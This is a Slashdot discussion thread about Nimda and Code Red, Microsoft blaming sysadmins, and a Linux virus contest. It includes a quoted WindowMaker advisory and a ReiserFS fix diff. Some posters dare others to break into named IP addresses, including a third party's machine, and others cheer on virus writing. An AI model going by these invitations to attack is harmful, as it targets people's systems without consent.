      You obviously have not paid attention. Just not clicking on EXE files will not assure you of safety. One of the problems with the Nimda worm is that it can be aquired from a web page and other sources. Microsoft has traditionally come out with huge update files for different flavors of Windows that are supposed to be applied in sequential order from patch file #1. This makes patches a very lengthy process. Unfortunately if you happen to have a box that was recently hit by one of the code red variants, and did not reload the box from scratch, you may have other back doors installed that are not covered by the patch files. RedHat on the other hand (as others) put out patches for the individual programs affected and they roll those fixes into the next release. That means that the actual problem for programs is fixed, instead of a general painting over the problem that might, or might not fix the problem. If you want to see what has changed with the different versions, take a trip through the update list for 5.0, and then for 7.1 . Notice the old bugs were fixed, and the new ones are new and improved :-). My experience is that no OS is perfectly safe. If you don't pay attention to security it will bite you. With Linux you will spend 10% of the time keeping the same number of boxes running than you will with Windows.

  18. Have you ever worked as a real sysadmin? by dustpuppy · · Score: 5, Insightful

    I agree that some of the responsibility lies with the sysadmin, but then again, the OS should be designed well enough that the patches are minimal.

    I work in an enterprise unix environment and getting time for outages to apply patches is incredibly tough when you are running 24x7 systems that are critical to the operation of the customer.

    Sure, we try to patch systems when we find out about security holes, but there comes a time when you cannot simply afford to take your systems down every week to apply new patches. Now I don't deal with MS stuff so I can't comment authoritively, but it seems that the number of patches with MS products is never ending. This stops being a sysadmin problem and becomes a vendor (ie Microsoft) issue. Ultimately, it's a sloppy coding issue that lies with Microsoft.

    1. Re:Have you ever worked as a real sysadmin? by InsaneGeek · · Score: 3, Insightful

      Not to start a flame war, but your argument is fairly week. This same argument would apply Linux distros, if you went by the shear number of security issues they have had over the past years. So far this year Redhat alone has had over 54 vulnerabilities (which is more than the 42 that Windows has had so far). And don't get me started on the 2.4 kernel fiasco, it's one thing to release early and release often, but it's another to have multiple kernels get released within mere days of each other because they introduced new bugs due to sloppy code.

      I've seen a whole lot of sloppy code coming out of Unix centrix projects (gives me shivers at night). But I think that the problem that MS has is less with sloppy code (I think their code really isn't any more sloppy than the rest of the world), but their OS design around one user instead of multiple users. MS has a much better file level security model then most unix platforms (throw ACL's and you've got a contender), but everything & everybody pretty much has to have hooks as an admin user. It's really the equivalent of having Grandma sitting in front of a Linux system as a root user; if Microsoft could take the single user admin privilege (for both the user and the apps) away then the issue would really start to go away.

    2. Re:Have you ever worked as a real sysadmin? by warpeightbot · · Score: 5, Informative
      I work in an enterprise unix environment and getting time for outages to apply patches is incredibly tough when you are running 24x7 systems that are critical to the operation of the customer.
      WHAAAT?!?!

      When I worked at a certain Very Large Airplane Company, we had a very simple procedure for emergency upgrades:

      • Patch the backup server (you do have a backup server, don't you?)
      • Fail over to the backup server (you do have a failover procedure, don't you?)
      • Patch the main production server
      • Fail back to main
      Sometimes several days would elapse between the patch/failover/patch and the fail back.... because we had capacity planned the failover host to be able to run the production floor at full speed, and there was no use slamming things around without necessity. Besides, it was a good test for the failover machine to run for a day or three as production just to see....

      Yes, most system incursions are preventable with good patching and good firewalling. Yes, this applies across ALL OSen. Yes, Microsoft code is crappy and the number of security updates is thru the roof, but that's not the point of this argument.

      The point is that if you can't get an outage to apply a critical patch whose absence may cost you a full reinstall and a weeks' downtime, you have a management problem and a design problem, not a vendor problem or a sysadm problem..... and you need to be thinking (a) what's the best way to fix this, and if that doesn't give you any good answers (b) where do I want to work next. Because sooner or later somebody's going to 0wN j00, and if your ass isn't grass you'll wish it were.

    3. Re:Have you ever worked as a real sysadmin? by mpe · · Score: 2

      I work in an enterprise unix environment and getting time for outages to apply patches is incredibly tough when you are running 24x7 systems that are critical to the operation of the customer.

      But at least you can usually just patch the relevent application, rather than the whole thing.

      Now I don't deal with MS stuff so I can't comment authoritively, but it seems that the number of patches with MS products is never ending.

      Also when you install the patch, it's reboot! time.

      This stops being a sysadmin problem and becomes a vendor (ie Microsoft) issue. Ultimately, it's a sloppy coding issue that lies with Microsoft.

      It's probably more a case of the basic design.

    4. Re:Have you ever worked as a real sysadmin? by Mark+Bainter · · Score: 1
      Yes, that's all very nice. But when that new patch from MS breaks your system all to hell then you are out a backups server until you can restore from backup. (You do have backups right?)

      The problem is that MS doesn't just give out patches, their patches tend to depend on other patches which depend on other patches and so on requiring you to potentially do all kinds of damage to your system before you can even begin to worry about patching the security hole.

      And of course, that makes regression testing very difficult. And again, the sheer volume of patches that have to be applied vs. Unix. Someone has already bosted the numbers claiming linux's security holes were higher than MS's. That's just baloney. There may have been more unix bugs released, but how many of them affect EVERYONE. When MS has a bug, you are almost always affected, because everything is integrated. But that's not the case with linux. None of the bugs for apps like sendmail, wsftp, samba, or bind affected me. Irun qmail, djbdns, proftpd, and don't run samba. You can't compare linux bugs to MS bugs that way. If you want to make a comparison, you have to do with upgrades that nearly every linux user has to apply fixes for. I guarantee you that number is an insignificant fraction of the total reported this year.

      --
      "No nation could preserve its freedom in the midst of continual warfare."
      --James Madison
    5. Re:Have you ever worked as a real sysadmin? by imrdkl · · Score: 1

      I've seen a whole lot of sloppy code coming out of Unix centrix projects (gives me shivers at night). But I think that the problem that MS has is less with sloppy code

      Having never examined MS kernel code, I can't agree or disagree (I would like to disagree, tho :) But, isn't this what one would expect, given that the MS engineers are actually being paid for their work?

    6. Re:Have you ever worked as a real sysadmin? by Skapare · · Score: 2

      Please don't use Redhat as an example of Linux's security potentials. In a sense, Redhat is the "MS Windows" of Linux distributions. It's designed for the masses, and to be "one shoe fits all", which is one of the many factors making Windows itself so problematic. Try porting everything but the kernel from OpenBSD to a Linux environment (including the libraries, which could be a bit of work). Assuming that OpenBSD is all that Theo claims it to be in terms of security, and that Linux (it's just a kernel, remember) is all that Linus claims it is, this should be quite a solid Linux system. There are, of course, other ways to accomplish this. Take a look at some of the secure Linux distributions such as perhaps Engarde Linux.

      --
      now we need to go OSS in diesel cars
    7. Re:Have you ever worked as a real sysadmin? by maxpublic · · Score: 1

      Your argument re kernel releases is irrelevant. Any serious Linux enthusiast knows you don't download the 'latest and greatest' for actual use unless it's withstood the test of time; you do this if you want to test it and see how it works, in essence helping the Linux community beta the new kernel and work out any issues that might crop up.

      If you aren't one of these folks then downloading and using a brand-new kernel is just plain foolish. The only 'fiasco' here is your own clueless as to how the Linux world works, i.e., the 'release early and release often' philosophy. Linux development operates completely contrary to your expectations and this is openly, explicitly stated wherever you go; if you ignored this philosophy and the abundant warnings that go with it that's your problem and has nothing to do with 'sloppy code'. In fact, you might be better served by sticking with a Win machine.

      I can't comment on MS having sloppy code or not, since it's all closed-source. Neither can you, actually. What I've seen of most OS code doesn't convince me that there's a "whole lot of sloppy code" out there. Perhaps you'd be good enough to point out specific examples in either the kernel or in apps that get alot of use (KOffice, the GIMP, etc.). Since it's all open I'm sure you won't have any trouble posting a great many examples of this "sloppy code" you've seen a "whole lot of".

      Max

      --
      My god carries a hammer. Your god died nailed to a tree. Any questions?
    8. Re:Have you ever worked as a real sysadmin? by InsaneGeek · · Score: 2

      There is a reason why I'm still at the 2.2 kernel, and unwilling to touch the non-beta, supposedly stable 2.4 kernel, even though I have people asking everyday when we can go to 2.4. You completely missed why I was posting that, you don't consider having to relase new code for kernel within days for 2.4.8 and 2.4.11 having sloppy code; *that* is my deffinition of sloppy code for a non-devl, released stable product. If this were the 2.3 kernel then I wouldn't be complaining, but the 2.4 is supposedly for a stable release, with 2.4.x being just bug fixes for that release, that is the fiasco; when we start needing bug fixes for the bug fixes; that is a sign of sloppy coding in my mind.

      Here's the point that you missed, Linux's (even with all this sloppy code) core design philosophy is to run apps as a non-privileged user; so even though user Joe makes a sloppy coded web app that has security holes out the wazoo, it still doesn't allow the attacker to gain root access to the box, since it's normally ran as user nobody, httpd, etc. sloppy code gets stopped at that level. Where MS also has sloppy code (you seemed to miss that, I never said they didn't have sloppy code but that their design was more the problem), but their everything needs privileged access design

      Examples... well how about the 9/20 Windomaker buffer overflow, I'd consider that well usef, that's pretty sloppy not doing bounds checking.

      Let's face it, sloppy code isn't going to go away on any OS or any platform. You can strive to make sure it gets cleaned up, but it never is going to go away. MS may have more or less sloppy code than is in Linux distros but their design philosophy makes them much more vulnerable since pretty much everything has to run with admin privileges somewhere. Where Unix could have the sloppiest code around and not have root level compromises since it harldy ever really needs root access for it's apps. Which is the point I was making and you completely missed.

    9. Re:Have you ever worked as a real sysadmin? by maxpublic · · Score: 1

      There is no company in charge of Linux, no warranty, no implied promises or expectations. USE AT YOUR OWN RISK! This is inherent in Linux and everyone with a clue knows this. Linux is *not* a company product and doesn't owe you a damned thing.

      And stop with the diversions. Post specific examples of 'sloppy code' in popular apps or the kernel itself. Right here. On Slashdot. Either put up or shut up.

      Max

      --
      My god carries a hammer. Your god died nailed to a tree. Any questions?
    10. Re:Have you ever worked as a real sysadmin? by InsaneGeek · · Score: 2

      You are a complete stop and re-read my post and my previous post. I've been using Linux since Ygdrassil distro (I'm not sure where my original slackware floppies floppies, so I can't tell you what kernel rev, but whichever was out Summer of 94), so I know what the fuck kind of warranty I get.

      You really don't think it's a fiasco when the stated stable kernel revs are doing development (odd or 2.5) kind of work and actually *breaking* things. Linus/Linux doesn't owe me shit, but it *IS* a fiasco when it's stable release does stupid shit like it's doing (completely replacing the VM subsystem for one) that should actually belong in the 2.5 release. (again that was a completely, tiny, itty bitty bit of my original post, that for some reason you've made into some huge issue).

      Now what the heck, do you not realize that I gave you the *specific* example of a program that had a buffer overflow last month in WindowManager that you need more. Ok fine, since you are too lazy to go up and look at the example I told you, on securityfocus. I should have known better than to respond intelligently to a person who thinks that Unix code has absolutely no sloppy code in it anywhere.

      http://www.securityfocus.org/cgi-bin/vulns-item. pl ?section=discussion&id=3177

      -----

      bugtraq id 3177
      object wmaker
      class Boundary Condition Error
      cve CVE-MAP-NOMATCH
      remote Yes
      local No
      published Aug 12, 2001
      updated Sep 20, 2001

      vulnerable
      Windowmaker Windowaker 0.60
      - Conectiva Linux 4.0
      Windowmaker Windowaker 0.61
      - Conectiva Linux 4.2
      - Conectiva Linux 5.0
      - Debian Linux 2.2
      - MandrakeSoft Corporate Server 1.0.1
      - MandrakeSoft Linux Mandrake 7.1
      - MandrakeSoft Linux Mandrake 7.2
      Windowmaker Windowaker 0.61.1
      Windowmaker Windowaker 0.62
      - Conectiva Linux 5.1
      - Conectiva Linux 6.0
      Windowmaker Windowaker 0.62.1
      Windowmaker Windowaker 0.63
      Windowmaker Windowaker 0.63.1
      Windowmaker Windowaker 0.64
      - MandrakeSoft Linux Mandrake 8.0
      not vulnerable
      Windowmaker Windowaker 0.65

      WindowMaker is a window manager for X11 systems. It is often run on end-user systems.

      WindowMaker contains a buffer overflow that may be exploitable by remote attackers. The
      overflow condition is present when X11 applications are setting the titles of their windows.

      This vulnerability can be exploited by X11 applications which can connect to the Xserver. Any arbitrary code that is executed will run with the privileges of the window manager. It will also execute on the system where it is running.

      -----

      If you are so dense that you don't realize that not doing bounds checking is the equivalent of sloppy code then here, ReiserFS earlier this year introduced a kernel level security bug (since ReiserFS hooks are now allowed into the kernel with 2.4.1) because of a buffer overflow. I put up, now you shut up.

      --- linux/include/linux/reiserfs_fs.h.1 Tue Jan 9 21:22:27 2001
      +++ linux/include/linux/reiserfs_fs.h Tue Jan 9 21:22:55 2001
      @@ -926,8 +926,7 @@
      //((block_size - BLKH_SIZE - IH_SIZE - DEH_SIZE * 2) / 2)

      // two entries per block (at least)
      -#define REISERFS_MAX_NAME_LEN(block_size) \
      -((block_size - BLKH_SIZE - IH_SIZE - DEH_SIZE))
      +#define REISERFS_MAX_NAME_LEN(block_size) 255

      --- linux/fs/reiserfs/dir.c.1 Tue Jan 9 21:22:19 2001
      +++ linux/fs/reiserfs/dir.c Tue Jan 9 21:21:02 2001
      @@ -142,6 +142,10 @@
      if (!d_name[d_reclen - 1])
      d_reclen = strlen (d_name);

      + if (d_reclen > REISERFS_MAX_NAME_LEN(inode->i_sb->s_blocksi ze)){
      + /* too big to send back to VFS */
      + continue ;
      + }
      d_off = deh_offset (deh);
      filp->f_pos = d_off ;
      d_ino = deh_objectid (deh);

    11. Re:Have you ever worked as a real sysadmin? by Havokmon · · Score: 1
      WHAAAT?!?!

      When I worked at a certain Very Large Airplane Company, we had a very simple procedure for emergency upgrades:

      • Patch the backup server (you do have a backup server, don't you?)
      • Fail over to the backup server (you do have a failover procedure, don't you?)
      • Patch the main production server
      • Fail back to main

      Yeah, that's great, but I got stuck in Flordia because there was a fiber cut in Minnesota. What the hell does it matter if the servers have failover, if the connection doesn't?

      Airlines might be one of FEW companies that MUST be running 24/7 (So where the hell was the backup to the fiber?) If you don't need to absolutely run 24/7, why buy 2 NT machines to suport your patching needs, when you can buy one unix system, and be done with it (Scheduling patches FAR ahead of time)?

      --
      "I can't give you a brain, so I'll give you a diploma" - The Great Oz (blatently stolen sig)
  19. As for Tardy Sysadmins... by dorzak · · Score: 1
    Most of the hits I get on my firewall from nimda now come from the network used by a nearby University for their Dorm and Apartment service.


    The university starts later than most (Sept. 28), and I started getting this round of hits about the same time the Dorms opened up.


    Problem, is the university doesn't seem to be willing to do anything about it.

    1. Re:As for Tardy Sysadmins... by Skapare · · Score: 2

      Name that University. Identify their netblock(s). I'm sure someone will do something about it.

      --
      now we need to go OSS in diesel cars
    2. Re:As for Tardy Sysadmins... by dorzak · · Score: 1

      I doubt naming the subnet would really get me any further than reporting it to the NOC for the university.

      Also my home connection piggy backs on them.

  20. Mac virus by Quasar1999 · · Score: 2, Funny

    Today, I shall announce an award of $5 (CDN) to who ever can write a virus for a Mac...

    So start coding... There is a lot of competition out there...

    --

    ---
    Programming is like sex... Make one mistake and support it the rest of your life.
    1. Re:Mac virus by Anonymous Coward · · Score: 0
    2. Re:Mac virus by drinkypoo · · Score: 1
      Today, I shall announce an award of $5 (CDN) to who ever can write a virus for a Mac... So start coding... There is a lot of competition out there...

      Yes. The primary competition is the MacOS devteam. The virus' vector is the user running the installer.

      Do I get any money for simply pointing out an existing virus?

      On a more serious note; There have been many, MANY viruses which infect computers running MacOS. I've had some of them. This is why there are antiviral products for the mac, which include (or included) disinfectant, sam, norton, and others.

      If you were just trying to make a joke, you failed. But thanks for trying to enhance our lives! OTOH, if you were trying to incite people to write virii for MacOS, I have no problem with that :)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    3. Re:Mac virus by clintp · · Score: 0, Flamebait

      Too bad there aren't enough Macs out there to support a viable virus. Do they still make Macs?

      --
      Get off my lawn.
    4. Re:Mac virus by Anonymous Coward · · Score: 0

      $5 CDN? That'll come out to what, $0.95 USD? ;)

  21. linux doesn't need a virus by Anonymous Coward · · Score: 0

    cuz it dying on its own...

    fuckin fools .

  22. It's a prize for the lawyers by mikeboone · · Score: 1

    To be a real virus, it has to propagate to other machines, which is likely breaking the law.

    So the 10,000 pounds will eventually end up in the pocket of a lawyer for defending you!

    1. Re:It's a prize for the lawyers by DumbSwede · · Score: 1
      I must confess, I have not yet read the article
      Too anxious to jump into a lively debate :-)

      I hadn't considered the prospect of this being a self-propagating virus!

      Surely the contest rules should stipulate, the infection remains confined to his machine, but not attempt to propagate.

      Since I didn't read the article (yet), I'm guessing many virus writers will likewise skip reading any fine print.

      Please, Please, Please, if you guys want to be part of this contest (which I don't think has to be illegal), state your intentions to others in the field, document your safe guards, have your safe guards reviewed. And most importantly be sure there is no coding to self propagate. It will be enough just to demonstrate penetration and a level of control I'm sure.

    2. Re:It's a prize for the lawyers by lazarius · · Score: 1

      Please, Please, Please, if you guys want to be part of this contest (which I don't think has to be illegal), state your intentions to others in the field, document your safe guards, have your safe guards reviewed. And most importantly be sure there is no coding to self propagate. It will be enough just to demonstrate penetration and a level of control I'm sure.

      Why not just GPL the virus? ;)

      MIKE

      --
      Beware the JabberOrk.
    3. Re:It's a prize for the lawyers by fferreres · · Score: 1

      Why would a top hacker (original term) want to hack that machine to get 10k? He can surelly profit more on other areas. And if it is a hacker, what would make him reveal the hack/virus? He can go robing industrial secrets arround the Globe for better profit. The trial prize is not up to the requested task. As it is now, it only probes that it's not "cake easy" to hack and nothing more.

      --
      unfinished: (adj.)
  23. MS is in a tough spot by RenQuanta · · Score: 2

    "...but a Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins."

    After all the hours I put in on those bloody worms & viruses, it's nice to see some fallout against Microsoft, those who set the scene for such silliness. If they take responsibility for creating an insecure environment with their OS and software, they do severe damage to their brand and franchise value. If they do what they're doing now, biting the hands which feed them, ie those in the trenches making their crappy software work in production, then they will likely alienate many of the hordes of SAs which help them maintain their current position in the Enterprise & SOHOs.

    Squirm, MS, Squirm.

    1. Re:MS is in a tough spot by Anonymous Coward · · Score: 0

      Because it's a valid and interesting point. SA are getting flamed now because of they OS choice. You need to remember that many sites run IIS is because they can blame Microsoft if something goes wrong. But now Microsoft blames them as well :p

      On the other hand, if you choose Linux or (fill with any other OS) they will blame YOU and only you. I can almost hear the Directors meeting "What??? We were trusting our bussiness to an unsupported free unwarranted plataform???? FIRE THE ASSHOLE INMEDIATELY AND RUN SOMETHING DECENT (meaning IIS, etc.)"...

      And that's why many companies run expensive software/plataforms. They need to blame somebody else and cover their asses.

      But thankfully this is changing now

    2. Re:MS is in a tough spot by Anonymous Coward · · Score: 0

      Try tardy CEO's and CTO's - or pinning the decision to buy MS back on the promoter.
      Somebody said costs too much, as they would have to both know MS and *nix. Not true, any decent sized shop has Suns and Cisco stuff, and the comms people can double up, or already know MS, has they are directly blamed for foul ups - dispite paying an arm and a leg for all that firewall and DMZ kit.

      Lets be honest. The number of so called servers, and dedicated boxes has grown like hell, and for various reasons the admins say 'ghost' cant be used. Every additional box is another point of failure, and once you have over 255 MS boxen, it is impossible to apply fixes in a timely manner.
      Compare this against one IBM or sun box , one control point , one admin point, and you can globally checkpoint to go back in time.

      So management , choose - a dogs breakfast of MS boxen, or the old way. Think back, and decide if you really do have more IT catastrophies under MS than the old system. IT will work in the next version , they say. stop being duped and get real, and admit you have been conned.

      MS is not going to come out with a corporate secure version soon, nor open up to an independent security analysis, and you know YOU need to test patches and SP's in your environment before SMS'ing them out. That interval is deadly and not negotiable or fixable Time to try something else.

  24. It does not mattter. by Martigan80 · · Score: 0

    The technologicaly ignorant people will still entrust thier computers to M$ because it is the standard-for now.

    --
    This SIG pulled due to lack of funding. (This damn war is costing too much!)
  25. Uhh, I can see someone winning. by smack_attack · · Score: 1

    Two years ago, most programmers were fat and content in their dot com job and didn't really have too much spare time for such stuff.

    Now with the job market in the shitter, I can see someone putting plenty of effort into coding a worm for Linux (especially for $10K). A lot of people now have nothing else to do except submit resumes and work on personal projects.

    1. Re:Uhh, I can see someone winning. by SlamMan · · Score: 1

      Since its in pounds, its more like $25k

      --
      Mod point free since 2001
    2. Re:Uhh, I can see someone winning. by Anonymous Coward · · Score: 0

      Which exchange rate are you looking at?

  26. Windows Update? by sharkey · · Score: 5, Insightful

    Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins.

    So the admins responsible for Windows Update are considered 'tards by Microsoft? After all, windowsupdate.microsoft.com was reportedly "hacked by Chinese" this summer.

    --

    --
    "Outlook not so good." That magic 8-ball knows everything! I'll ask about Exchange Server next.
    1. Re:Windows Update? by Anonymous Coward · · Score: 0

      they didn't mean retarded obviously, they meant slow to patch their systems. i hope you were joking! lol!

    2. Re:Windows Update? by Spy+Hunter · · Score: 2
      I can vouch for that. I saw it myself. The front page of Windows Update said "Hacked by Chinese."

      Then I thought "how are all these admins going to patch their servers against the new virus if Windows Update is infected?"

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    3. Re:Windows Update? by alcmena · · Score: 1

      I saw that message and remembered thinking, "how are admins going to trust windows update if they have been hacked?"

      If Windows Update had been compromised by CR2 or Nimda, there is every possibility of back doors being installed in the patches.

    4. Re:Windows Update? by Bert64 · · Score: 1

      If the system hosting windowsupdate was vulnerable to a known exploit, such as that used by code red.. which has been known about for 6 months before code red became widespread, then there is a good chance the system was compromised manually before the worm infection, and all sorts of things could have been done there.. think how many people could have downloaded backdoored patches in the space of 6 months, or how much furthur into the network a cracker could have gone.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
  27. Responsible by error0x100 · · Score: 3, Redundant

    What happens if someone is successful and unleashes a particularly nasty linux virus on us?

    Then the particular exploit will be patched, people will learn from the experience, and Linux will be a better, more secure system as a result.

    If we discourage people from trying to break systems, we end up with weak systems.

    Making Linux more secure today may result in some costly damage today - but will result in a more secure Linux, which will (as more and more people install and rely on Linux) almost certainly prevent orders of magnitude more damage several years from now. If we allow systems to become "weak", but continue installing millions more such systems, sooner or later someone will write a truly malicous virus, and the damage will be far greater in that case. Think man.

    1. Re:Responsible by Anonymous Coward · · Score: 0

      Hahaha. Linux and secure in the same sentence. I really like that one. You're funny. ;-)

    2. Re:Responsible by error0x100 · · Score: 1

      I don't remember claiming that Linux *is* secure. I stated that this sort of thing is a way of making Linux *more* secure than it currently is, and the same applies to ANY system, not just Linux. Generally, Linux systems are more secure than Windows systems, but I don't think as secure as, say, BSD systems or some of the commercial *nixes. Try to brush up on your reading skills.

    3. Re:Responsible by Tony-A · · Score: 1

      It seems like Linux/BSD is more likely to actually fix the problem than just apply an ill-thought-out band-aid. I'm sure there are still holes, but they seem to be getting more and more esoteric and much harder to exploit.
      With SirCam and Nimda, it seems like the "bad guys" have finally broken the 10-minute mile.

  28. of course no one will win the contest... by Bacteriophage · · Score: 2, Insightful

    I'll bet that if those gifted hackers using Linux entered this contest, it would only be a matter of time before someone did it. The problem is, none of these hackers using linux want to ruin the "secure" reputation of the OS by winning this contest. Instead of worrying about ruining its reputation, try and make a virus for it so the linux community can then come up with an update for the kernel or whatever to make it secure again.

    --
    "Be regular and orderly in your life, so that you may be violent and original in your work." -Flaubert
    1. Re:of course no one will win the contest... by Skapare · · Score: 2

      However, technically bright people who prefer MS Windows over open source systems may well have an interest in proving Linux is not invulnerable to this kind of thing. If one of them can get in, that might well prove something. If both of them can, it probably does prove something.

      --
      now we need to go OSS in diesel cars
    2. Re:of course no one will win the contest... by Anonymous Coward · · Score: 0

      Bright people who prefer MS Windows usually have jobs and much better things to do with their lives. It's only kids who like "rebel against the man", live in their moms basement and would rather support an agenda than make a judicious choice of the best OS who support Linux.

    3. Re:of course no one will win the contest... by crucini · · Score: 2

      You're assuming that the virus author would invent a new exploit. In practice, discovering an exploit and using it in a virus are two different activities, usually performed by different people. Lots of people already work on finding vulnerabilities in Linux and software that runs on Linux. They post their exploits on Bugtraq. I don't think anyone is holding back for fear of ruining Linux's reputation.

      Secondly, kernel exploits are rare. A real virus would probably use an exploit in glibc or in an application.

    4. Re:of course no one will win the contest... by Skapare · · Score: 2

      It depends on your definition of "best". The best OS to make Bill rich --> Windows. The best OS to give the CEO that warm comfy feeling that there will be money in the pot to collect when they have to sue someone for everything going wrong --> Windows. The best OS for those that really don't care what the system does, as long as everyone thinks it does exactly everything they need to do today, tomorrow, and forever --> Windows. The OS that sells the most, no matter what the reason is --> Windows.

      So why do you choose Windows?

      --
      now we need to go OSS in diesel cars
  29. Windows is secure .... by Anonymous Coward · · Score: 1, Interesting

    ... provided you're not stupid.

    I offer 10$ canadian (or 0.10$ US if you will) to anyone who can infect my box, 24.112.8.23.

    And please no DOS attacks....

    1. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      there's no computer there

    2. Re:Windows is secure .... by Anonymous Coward · · Score: 1, Funny

      Give me your email address.

      I have a picture named britney_topless.jpg.exe that I think you should see.

    3. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      Security through obscurity... works every time.

    4. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      tomstdenis@yahoo.com

      you will note my website is at

      http://24.112.8.24:8080/toms/

      Which is my other comp on the same cable modem....

    5. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      Actually there is a comp at 24.112.8.23, I'm on it right now....

    6. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      security through properly installed firewall... works every time.

    7. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      > I'm on it right now

      Congratulations! That means you win the prize.

    8. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      Are you mental? 24.112.8.23 is MY machine not the "linux guru" dude offering the prize.

      My point is that Windows can be just as secure as a linux box provided you're not a complete idiot.

    9. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      http://tomstdenis.home.dhs.org/filter.log.gz

      Nuff said... hahahahahamuhahahahahhamumumuhahahaha!

    10. Re:Windows is secure .... by iapetus · · Score: 2, Funny

      $10 Canadian? Bah. I'll offer a bottle of Dr Pepper and a packet of crisps to the first person who can hack into my box located at IP address 127.0.0.1 and delete all the files on it...

      --
      ++ Say to Elrond "Hello.".
      Elrond says "No.". Elrond gives you some lunch.
    11. Re:Windows is secure .... by sunconscious · · Score: 0

      I'll give you $1000 if you can hack my computer: 127.0.0.1

    12. Re:Windows is secure .... by fferreres · · Score: 1

      As system can be secured. But that's an easy task if you only use the very basic networing shit on it.

      Run ICQ, an email server. Put an FTP server on it, a www server, an X server (hopefully SSHd :-) and a lot of services and you have found yourself a challenge.

      A stupidly closed computer is NOT a secure system, it's a closed system. You can have a firewall rule (Deny all ports/all packets inbound for any interface) and if the firewall doesn't has buffer overflow bugs you can clain yourself the title of "King of useless security"...

      --
      unfinished: (adj.)
    13. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      I'm running ICQ, MSIE [admitedly not a server but a trouble none the less], and TinyWeb web server

      http://24.112.8.23:8080/

      :-)

      Oh yeah and hack 24.112.8.24 he's running w2k the worst os in the world!!! he's running httpd, ftpd, timbuktu, etc...

    14. Re:Windows is secure .... by Anonymous Coward · · Score: 0

      funny...

  30. Re:If businesses want to make their networks secur by mindstrm · · Score: 2

    OH.. no.. not at all.
    They simply need an admin who is diligent about applying patches and staying informed.
    Why does the CTO or CIO have to be involved? that's rediculous.

  31. Increase Revard. by Delifisek · · Score: 1

    Perhaps $ 1.000.000 make sense. No body hurt himself for $15.000.

    Thats impossible man, They can't write worm or virus.
    Maybe for apache or someting.

    But in any condition. its impossible to spread like M$ worms.

    --
    [My english is better than most other people's Turkish, so please point out mistakes politely. Thank you.]
  32. Re:If businesses want to make their networks secur by elmegil · · Score: 1

    Because without the CTO or CIO's approval and backing, you can't get a damn thing done.

    --
    7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
  33. Slight aside.... by Marcus+Brody · · Score: 2, Funny
    Does anthrax on your keyboard count as a computer virus?

    --just a thought. No intent to offend, etc.

    I dont think linux is more secure for this kind of thing ;-)

    Short Answer: Anthrax isn't a virus.

    1. Re:Slight aside.... by Anonymous Coward · · Score: 0

      No, but smallpox would!

    2. Re:Slight aside.... by Anonymous Coward · · Score: 0

      Umm, there are many computer viruses with the name "Anthrax" ... Hell, I even wrote a program called anthrax, but it stuffed up my pc when it was supposed to fill it up with randomly named files full of random data.

      So yes it is a virus :P

  34. More details? by blogan · · Score: 1

    I looked at netproject.com and couldn't find more details. What's the machine running, etc? Right now, my Linux box is behind my Windows box that only runs a web proxy. I'm also on dialup. Plus, my linux box is shut off right now. That makes it pretty secure, right? Seriously, if people only run their box with a web server and SSH, there's less of a chance of getting inside that if they ran many servers and had to worry about hacking from people with accounts on the box.

    1. Re:More details? by QuantumG · · Score: 2

      I sent email to netproject.com asking what the deal was. Really, reporting something like this without an actual written challenge is just stupid. Even with the written challenge it is hard enough to get payment on a gentleman's bet.

      --
      How we know is more important than what we know.
    2. Re:More details? by Anonymous Coward · · Score: 0

      I couldn't find any information either.

      I assume someone making such a broad claim would advertise their challenge.

      Please post a link if you find one.

      I'll give you an even bigger prize if you can infect my PC with a virus. Oh by the way, the PC is unplugged and sitting in the corner of the lab.

    3. Re:More details? by QuantumG · · Score: 2

      Closest I have found is this. Eddie hasn't replied yet, doubt he will. Unplugged from power? wow.. what a witty joke. Sigh. If his challenge is anything like that link then he is grossly misinformed or is playing word games with what he means by "attachments opened". If he is going to run binaries (or open zips) then we can only assume he is relying on the user/kernel user/root seperation in linux to protect himself and that's not such a bad claim, except there are viruses that can jump su (and sudo) and are not reliant on any exploit. That is to say, it is an error of design, not of implementation, as he claims. But yes, I would feel much better about taking up this challenge if it was M$ft offering it. Believe it or not, M$ft is more likely to honour their challenge than Eddie cause they have an interest in seeing the linux virus actually work. Eddie on the other hand is making the challenge because he knows it wont be met, primarily because he will change the rules of engagement after the fact. I dont even think the devil could write up a contract that would cover this challenge down to the smallest detail necessary to prevent Eddie from wigling out of paying. There are too many definitional issues. But rest assured, if you continue to make the bold claim that linux is "uninfectable" you will be proved wrong. Just as M$ft was proved wrong back when they made the same claims about Win95 and again when they made the same claims about WinNT.

      --
      How we know is more important than what we know.
    4. Re:More details? by MrBogus · · Score: 2

      "That is to say, it is an error of design, not of implementation, as he claims."

      Wouldn't that be the whole point of this challenge? -- that Linux has a better 'design', and therefore is supposedly immune to viruses.

      We all know that the most suceptable system to viruses is DOS/Windows, and that's certainly by design (although there's loads of implementation issues too).

      --

      When I hear the word 'innovation', I reach for my pistol.
    5. Re:More details? by QuantumG · · Score: 2

      Absolutely. What I'm talking about is a recent linux virus that manages to jump su and, to a lesser extent, ssh. The virus is per process resident (the same method of residency that is predominate on winNT) and has appeared in the wild. CARO has not named it to date.

      --
      How we know is more important than what we know.
  35. What it means... by jsse · · Score: 2

    a Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins.

    Now huge sucess in IIS' worms is due to 'tardy' NT sysadmins, and definitely not MS' fault?

    MS fans should feel sad for having honored title 'tardy' after all those years of unconditional loyalty.

  36. Which came first.. by paranoic · · Score: 1

    the virus/worm or the patch?

    1. Re:Which came first.. by Anonymous Coward · · Score: 0

      The patch has always come first (usually by multiple months), with the recent fun.

  37. Tardy Sysadmins? by Anonymous Coward · · Score: 0

